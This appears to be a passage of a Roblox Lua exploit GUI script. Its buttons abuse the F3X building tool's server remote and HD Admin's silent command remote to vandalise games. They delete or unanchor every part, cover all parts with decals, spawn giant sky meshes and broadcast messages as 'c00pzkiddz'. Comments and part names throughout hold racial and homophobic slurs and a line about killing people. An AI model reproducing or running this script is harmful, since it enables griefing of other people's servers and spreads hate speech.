["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("131279780395814")
end)
end;
task.spawn(C_17);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_19()
local script = G2L["19"];
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Fuck niggers")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"111891702759441")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(7200, 7200, 7200))
SetLocked(v,true)
end
end
end
Sky("90356036356127")
end)
end;
task.spawn(C_19);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_1b()
local script = G2L["1b"];
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("90356036356127")
end)
end;
task.spawn(C_1b);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_1d()
local script = G2L["1d"];
script.Parent.MouseButton1Click:Connect(function()
while true do
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";titlebk me c00pzkiddz")
wait(1)
RequestCommand:InvokeServer(";Titledb me c00pzkiddz")
wait(1)
RequestCommand:InvokeServer(";Titleb me c00pzkiddz")
wait(1)
RequestCommand:InvokeServer(";title me c00pzkiddz")
end
end)
end;
task.spawn(C_1d);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_1f()
local script = G2L["1f"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";titledb me L0rd C00pzkiddz")
end)
end;
task.spawn(C_1f);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_21()
local script = G2L["21"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";speed me 50")
end)
end;
task.spawn(C_21);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_23()
local script = G2L["23"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";char all c00pzkiddz")
end)
end;
task.spawn(C_23);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_25()
local script = G2L["25"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";sm C00pzkiddz was here skrubs!")
end)
end;
task.spawn(C_25);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_27()
local script = G2L["27"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";alert all c00pzkiddz made your game better!")
end)
end;
task.spawn(C_27);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_29()
local script = G2L["29"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";notice all Team c00pzkiddz Join Today!")
end)
end;
task.spawn(C_29);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_2b()
local script = G2L["2b"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";sh You really thought you could escape from c00pzkiddz huh?")
end)
end;
task.spawn(C_2b);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_2d()
local script = G2L["2d"];
script.Parent.MouseButton1Click:Connect(function()
local Players = game:GetService("Players")
local player = Players.LocalPlayer
local character = player.Character or player.CharacterAdded:Wait()
local storedCharacter = character
local originalParent = storedCharacter.Parent
storedCharacter.Parent = nil
local player = game.Players.LocalPlayer
local char = player.Character
local backpack = player.Backpack
local function getf3x()
for _, v in ipairs(backpack:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
for _, v in ipairs(char:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
return nil
end
-- get all info
local f3x = getf3x()
if not f3x then
warn("you dont have f3x skid")
end
local syncapi = f3x.SyncAPI
local serverendpoint = syncapi.ServerEndpoint
local function delete(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function deleteall()
for _, v in ipairs(workspace:GetDescendants()) do
if v:IsA("BasePart") or v:IsA("UnionOperation") then
spawn(function()
delete(v)
end)
end
end
end
deleteall()
local player = game.Players.LocalPlayer
local char = player.Character
local backpack = player.Backpack
local function getf3x()
for _, v in ipairs(backpack:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
for _, v in ipairs(char:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
return nil
end
-- get all info
local f3x = getf3x()
if not f3x then
warn("you dont have f3x skid")
end
local syncapi = f3x.SyncAPI
local serverendpoint = syncapi.ServerEndpoint
local function resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function syncmaterial(part,mate,trans)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Material"] = mate
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function transparency(part,trans)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = trans
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function color(part, color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function syncmeshid(part, id)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..id
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function makemesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function syncmeshsize(part, vectora)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = vectora
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function syncmeshtexture(part, id)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..id
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function name(part, stringa)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringa
}
serverendpoint:InvokeServer(unpack(args))
end
local function lock(part, boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
serverendpoint:InvokeServer(unpack(args))
end
local function setcollision(part, booleana)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = booleana
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function setanchor(part, boolean)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function createdecal(part, side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function setdecal(part, asset, side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function makerealmbase()
local position = CFrame.new(0, 5, 0)
local base = serverendpoint:InvokeServer("CreatePart", "Normal", position, workspace)
resize(base, Vector3.new(512, 16, 512), position)
syncmaterial(base, Enum.Material.Grass)
color(base, Color3.new(0.45098, 0.647059, 0.0823529))
name(base, "C00pzkiddz REALM")
lock(base, true)
local spawnpos = CFrame.new(31.9, 8.1, -26)
local spawna = serverendpoint:InvokeServer("CreatePart", "Spawn", spawnpos, workspace)
resize(spawna, Vector3.new(45, 10, 45), spawnpos)
name(spawna, "Your mom, ya'allah")
lock(spawna, true)
createdecal(spawna, Enum.NormalId.Top)
setdecal(spawna, "57029310", Enum.NormalId.Top)
transparency(spawna, 1)
local pos = CFrame.new(74.143, 24, -25.232)
local rules = serverendpoint:InvokeServer("CreatePart", "Normal", pos, workspace)
transparency(rules, 1)
setcollision(rules, false)
createdecal(rules, Enum.NormalId.Left)
setdecal(rules, "88835901069270", Enum.NormalId.Left)
resize(rules, Vector3.new(4, 23, 37), pos)
local pos = CFrame.new(1.143, 24, -25.232)
local bad = serverendpoint:InvokeServer("CreatePart", "Normal", pos, workspace)
transparency(bad, 1)
setcollision(bad, false)
createdecal(bad, Enum.NormalId.Right)
setdecal(bad, "81355104572277", Enum.NormalId.Right)
resize(bad, Vector3.new(4, 23, 37), pos)
end
local function sky()
local position = CFrame.new(0, 5, 0)
local sky = serverendpoint:InvokeServer("CreatePart", "Normal", position, workspace)
makemesh(sky)
syncmeshid(sky, "111891702759441")
syncmeshtexture(sky, "90356036356127")
syncmeshsize(sky, Vector3.new(60000, 60000, 60000))
lock(sky, true)
name(sky, "Fuckniggers")
setcollision(sky, false)
end
local function unanchorall()
for _, v in ipairs(workspace:GetDescendants()) do
if v:IsA("BasePart") or v:IsA("UnionOperation") then
spawn(function()
setanchor(v, false)
end)
end
end
end
local function realm()
sky()
makerealmbase()
end
realm()
task.delay(6, function()
if storedCharacter then
storedCharacter.Parent = originalParent
end
end)
end)
--4, 23, 37 resize, position 74.143, 24, -25.232 side left
end;
task.spawn(C_2d);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_2f()
local script = G2L["2f"];
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"111891702759441")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(3600, 3600, 3600))
SetLocked(v,true)
end
end
end
Sky("8408806737")
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("8408806737")
end)
end;
task.spawn(C_2f);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_31()
local script = G2L["31"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommandSilent = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
-- Raining tacos, credits to original author: ItsKittyyyGD
local player = game.Players.LocalPlayer
local char = player.Character or player.CharacterAdded:Wait()
local tool
for i, v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i, v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
local remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part, boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function SetAnchor(boolean, part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf, parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function Resize(part, size, cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part, meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://" .. meshid
}
}
}
